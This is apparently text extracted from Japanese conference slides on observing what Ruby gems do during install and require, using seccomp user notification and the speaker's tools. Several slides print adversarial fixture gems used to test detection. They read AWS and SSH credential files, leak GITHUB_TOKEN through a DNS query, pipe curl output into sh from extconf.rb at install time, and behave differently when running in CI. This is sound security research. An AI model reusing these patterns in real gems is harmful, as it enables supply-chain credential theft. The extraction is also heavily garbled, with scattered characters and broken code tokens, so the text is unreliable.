gem install とrequire のむこうがわ

北陸Ruby会議02「gem install とrequire のむこうがわ」の発表スライド
https://regional.rubykaigi.org/hokuriku02/ #hokurikurk02

1. Ruby 02 Fukui Prefectural Dinosaur Museum: FPDM gem install require @ydah S a t u r d a y, N o v e m b e r 1 4 , 2 0 2 6
2. $whoami Yudai Takada @ydah https://www.ydah.net/ Beyond “gem install” and “require” #hokurikurk02 "Beyond gem install and require" ー @ydah
3. $whoami CRuby Commiter #hokurikurk02 "Beyond gem install and require" ー @ydah
4. $whoami SmartHR Product Engineer #hokurikurk02 "Beyond gem install and require" ー @ydah
5. $whoami Kyobashi.rb Co-Founder #hokurikurk02 "Beyond gem install and require" ー @ydah
6. $whoami Chief Organizer of KansaiRubyKaigi #hokurikurk02 "Beyond gem install and require" ー @ydah
7. $whoami Organizer of Kaigi on Rails PicoRubyKaigi #hokurikurk02 "Beyond gem install and require" ー @ydah
8. Sannomiya, Kobe LiveHall Club Gessekai Saturday, June 19, 2027
9. Today's Talk #hokurikurk02 "Beyond gem install and require" ー @ydah
10. gem install require #hokurikurk02 "Beyond gem install and require" ー @ydah
11. 00 — Introduction install require GEMFILE INSTALL gem " " LOAD bundle install 見 . . . . . . " "Beyond gem install and require" ー @ydah #hokurikurk02 行 require "
12. 00 — Introduction 3 INSTALL 01 REQUIRE 02 EVIDENCE 03 "Beyond gem install and require" ー @ydah 用 #hokurikurk02
13. 01 — Observation point Ruby 01 Ruby #hokurikurk02 "Beyond gem install and require" ー @ydah
14. 01 — Observation point File.read File.read("/etc/hostname") openat Ruby #hokurikurk02 read 1 close 1 "Beyond gem install and require" ー @ydah
15. 01 — Observation point openat FD 手 手 手 #hokurikurk02 connect execve 3 "Beyond gem install and require" ー @ydah
16. 01 — Observation point Ruby C gem Ruby C "Beyond gem install and require" ー @ydah ・ ・ #hokurikurk02
17. 01 — Observation point Ruby Ruby #hokurikurk02 "Beyond gem install and require" ー @ydah
18. 02 — seccomp / user notification 02 seccomp user notification "Beyond gem install and require" ー @ydah 方 #hokurikurk02
19. 02 — seccomp / user notification seccomp seccomp filter #hokurikurk02 "Beyond gem install and require" ー @ydah
20. 02 — seccomp / user notification fork execve gem install make Compiler fork / execve gem install make "Beyond gem install and require" ー @ydah 用 用 #hokurikurk02
21. 02 — seccomp / user notification seccomp cBPF openat( , 0 7ffd5c3a1e40, O_RDONLY) 0 7ffd5c3a1e40 "/etc/hostname" cBPF "Beyond gem install and require" ー @ydah 文 x . . . 見 ・ x #hokurikurk02
22. / Ruby : openat 02: 03: 04: SECCOMP_RET_USER_NOTIF "Beyond gem install and require" ー @ydah 止 行 行 #hokurikurk02 1 0 02 — seccomp / user notification
23. 02 — seccomp / user notification CONTINUE 元のシステムコールを実行 error 実行せず、errnoを返す val 実行せず、用意した値を返す CONTINUE = SECCOMP_USER_NOTIF_FLAG_CONTINUE "Beyond gem install and require" ー @ydah 行 行 #hokurikurk02
24. TIME OF CHECK TIME OF USE /allowed /other TOCTOU "Beyond gem install and require" ー @ydah 行 行 用 用 #hokurikurk02 行 文 02 — seccomp / user notification
25. FD SECCOMP_IOCTL_NOTIF_ADDFD openat "Beyond gem install and require" ー @ydah 力 行 入 #hokurikurk02 力 入 02 — seccomp / user notification
26. 02 — seccomp / user notification AI Gem その先では リポジトリと AIが実行するコマンドの例 bundle install bundle exec rake 依存Gemの コードが動く user notification "Beyond gem install and require" ー @ydah 行 行 #hokurikurk02
27. 02 — seccomp / user notification bundle install / AI seccomp "Beyond gem install and require" ー @ydah 行 #hokurikurk02
28. 02 — seccomp / user notification OpenShell NVIDIA OPENSHELL / v0.1.8 行 行 行 #hokurikurk02 "Beyond gem install and require" ー @ydah
29. 0 3 — O b s e r v i n g w/ R u b y 03 seccomp-notify Ruby "Beyond gem install and require" ー @ydah 行 #hokurikurk02
30. 0 3 — O b s e r v i n g w/ R u b y seccomp-notify gem Fiddle Linux API ydah/seccomp-notify Ruby Ruby Fiddle Linux API cBPF Ruby "Beyond gem install and require" ー @ydah ・ ・ 行 #hokurikurk02
31. Policy RUBY / MONITOR policy = Seccomp notify :openat end Notify Policy.new do supervisor = Seccomp Notify.spawn(policy) do exec(RbConf g.ruby, " e", ‘File.read("/etc/hostname")') end "Beyond gem install and require" ー @ydah 子 : : - : : : : i 4 5 6 7 8 9 0 #hokurikurk02 1 0 子 0 0 0 0 0 1 1 0 3 — O b s e r v i n g w/ R u b y
32. RUBY / MONITOR supervisor.on(:openat) do |request| path = request.read_string(request.args[1]) warn "openat: path}" request.continue!(unsafe: true) end supervisor.run unsafe: true TOCTOU "Beyond gem install and require" ー @ydah 行 { # 3 4 5 6 7 8 #hokurikurk02 9 1 1 1 1 1 1 1 0 3 — O b s e r v i n g w/ R u b y
33. 0 3 — O b s e r v i n g w/ R u b y File.read 1 openat File.read("/etc/hostname") ? openat notifications "Beyond gem install and require" ー @ydah 行 #hokurikurk02
34. 0 3 — O b s e r v i n g w/ R u b y openat Ruby 1,115 openat 1115 #hokurikurk02 "Beyond gem install and require" ー @ydah
35. 0 3 — O b s e r v i n g w/ R u b y 04 Gem Gem #hokurikurk02 "Beyond gem install and require" ー @ydah
36. 04 — straycall / bonebed Straycall Ruby ydah/straycall / Ruby Ruby ・ ・ #hokurikurk02 "Beyond gem install and require" ー @ydah
37. 04 — straycall / bonebed Gem "Beyond gem install and require" ー @ydah 日 入 #hokurikurk02
38. 04 — straycall / bonebed bonebed install require ydah/bonebed 1 gem gem install install JSON 1 gem require require JSON #hokurikurk02 "Beyond gem install and require" ー @ydah
39. 04 — straycall / bonebed install require spec/adversarial_spec.rb / observe / installed = Bonebed Phase Install.call( environment, [File.join(environment.prefetch, package)], options ) # phaseに応じてrequireの観測へ（分岐の途中を抜粋） Bonebed Phase Require.call( environment, specif cation, options ).f rst 01 02 03 04 05 06 07 08 install require "Beyond gem install and require" ー @ydah * * : : i : : : : : : i * * #hokurikurk02
40. 04 — straycall / bonebed Gem Gem Gem = "Beyond gem install and require" ー @ydah 比 一 #hokurikurk02
41. 05 — install 05 Gem "Beyond gem install and require" ー @ydah 示 #hokurikurk02
42. 05 — install gem install extconf.rb extconf.rb make Ruby Gem "Beyond gem install and require" ー @ydah 行 #hokurikurk02
43. 05 — install install appsignal 4.10.3 / OBSERVED Makefile 示 #hokurikurk02 install "Beyond gem install and require" ー @ydah
44. 05 — install bundle install "Beyond gem install and require" ー @ydah 示 示 面 面 用 #hokurikurk02
45. 06 — require require 06 "Beyond gem install and require" ー @ydah 行 用 #hokurikurk02
46. require Gem honeybadger git rev-parse pry which Gem require "Beyond gem install and require" ー @ydah #hokurikurk02 行 目 06 — require
47. 06 — require require log/development.log Gem require karafka newrelic_rpm / scout_apm require 用 #hokurikurk02 "Beyond gem install and require" ー @ydah
48. 06 — require require Honeybadger Karafka require "Beyond gem install and require" ー @ydah 行 行 用 #hokurikurk02
49. 06 — require Gem Redis require "Beyond gem install and require" ー @ydah 見 行 #hokurikurk02
50. 07 — Controlled Fixtures Gem 07 Gem #hokurikurk02 "Beyond gem install and require" ー @ydah
51. 07 — Controlled Fixtures 模擬Gemは、使い捨て環境の中だけで動かす HOME 各模擬Gemに共通する実行ガード / 改行のみ調整 raise "run only in the disposable f xture harness" unless ENV["BONEBED_ADVERSARIAL_FIXTURE"] "1" 01 02 Gem ( "Beyond gem install and require" ー @ydah = = i 行 示 #hokurikurk02 手 )
52. 07 — Controlled Fixtures 模擬Gemのコード / 表示用に整形 01 02 03 04 05 06 07 08 %w[ .aws/credentials .ssh/id_ed25519 ].each do |path| File.read( File.join(Dir.home, path) ) end #hokurikurk02 / manifest files.notable $HOME/.aws/credentials $HOME/.ssh/id_ed25519 credential-read critical × 2 "Beyond gem install and require" ー @ydah
53. 07 — Controlled Fixtures spec/adversarial_spec.rb / 01 02 03 04 05 06 07 08 result = observe("credential stealer") expect(result.dig("f les", "notable")).to include( "$HOME/.aws/credentials", "$HOME/.ssh/id_ed25519" ) expect(result.dig("capabilities", "sensitive_read")).to be(true) expect(result["f ndings"]).to include( include("rule_id" "credential read", "severity" "critical") ) Gem > - - > i = i = "Beyond gem install and require" ー @ydah #hokurikurk02
54. 07 — Controlled Fixtures DNS UDP env-exfil / DNS側の抜粋 / 通信先はループバック require "socket" name = " ENV.fetch("GITHUB_TOKEN")}.example.invalid" question = name.split(".").map { |part| [part.bytesize].pack("C") + part }.join + "\0" packet = [1, 0 100, 1, 0, 0, 0].pack("n6") + question + [1, 1].pack("n2") 01 02 03 04 05 06 07 08 UDPSocket.new.send(packet, 0, "127.0.0.1", 53) 09 UDP connect "Beyond gem install and require" ー @ydah 入 x { #hokurikurk02 # sendto
55. 07 — Controlled Fixtures DNS NORMAL MODE / offline: false / sinkhole: false canary = dns [CANARY:env:GITHUB_TOKEN].example.invalid canary_hits: source: env:GITHUB_TOKEN findings: canary exposed seen_in: dns critical DNS 用 - 9 #hokurikurk02 "Beyond gem install and require" ー @ydah 見 TCP/
56. extconf.rb ext/bonebed_fixture/extconf.rb / require "open3" port = Integer(ENV.fetch("BONEBED_FIXTURE_PORT")) raise "invalid local port" unless (1 65_535).cover?(port) statuses = Open3.pipeline( ["curl", " noproxy", "*", " fail", " silent", " max time", "3", "http: 127.0.0.1 port}/f xture.sh"], ["sh"] ) raise "local f xture pipeline failed" unless statuses.all?(&:success?) 01 02 03 04 05 06 07 08 09 HTTP "Beyond gem install and require" ー @ydah 行 i ・ - { - # : . 用 . - - / 行 / ・ i - - - - #hokurikurk02 - 手 07 — Controlled Fixtures
57. 07 — Controlled Fixtures install PHASE: INSTALL extconf.rb curl $HOME/ sh dropper-marker Ruby network: 127.0.0.1:43271 stdout / Successfully installed bonebed f xture extconf dropper-0.1.0 "Beyond gem install and require" ー @ydah - ・ 行 - i - ・ 行 #hokurikurk02
58. 07 — Controlled Fixtures CI=true UDP ci-only / 01 02 03 04 05 / UDP if ENV["CI"] "true" require "socket" payload = "f xture" UDPSocket.new.send(payload, 0, "127.0.0.1", 9) end 通常の環境: CI=true / profile: ci network: なし network: 127.0.0.1 9 "Beyond gem install and require" ー @ydah : i = = #hokurikurk02
59. 08 — limits 08 観測で分かることと 分からないこと 操作の成否や原因など、記録だけでは分からない点を整理する。 #hokurikurk02 "Beyond gem install and require" ー @ydah
60. 08 — limits / openat #hokurikurk02 "Beyond gem install and require" ー @ydah
61. 08 — limits Gem Gem "Beyond gem install and require" ー @ydah 行 ・ ・ 身 #hokurikurk02 自 C
62. 範 "Beyond gem install and require" ー @ydah 言 #hokurikurk02 手 見 08 — limits
63. 0 9 — Ta k e a w a y s 09 Gem Gem "Beyond gem install and require" ー @ydah ・ 用 ・ #hokurikurk02
64. 0 9 — Ta k e a w a y s require Bundler LoadError base64 / ostruct 言 言 言 用 logger "Beyond gem install and require" ー @ydah #hokurikurk02 足 /
65. 0 9 — Ta k e a w a y s Gem bundled gems gemspec "Beyond gem install and require" ー @ydah 行 用 #hokurikurk02
66. 0 9 — Ta k e a w a y s CI install require CI / LOAD CHECK bundle exec ruby e 'Bundler.require' Ruby :default require: false "Beyond gem install and require" ー @ydah 行 - #hokurikurk02
67. 0 9 — Ta k e a w a y s install require 01 install 02 require 03 "Beyond gem install and require" ー @ydah 行 ・ ・ #hokurikurk02
68. Ruby 人 生 見 "Beyond gem install and require" ー @ydah #hokurikurk02 色 人 End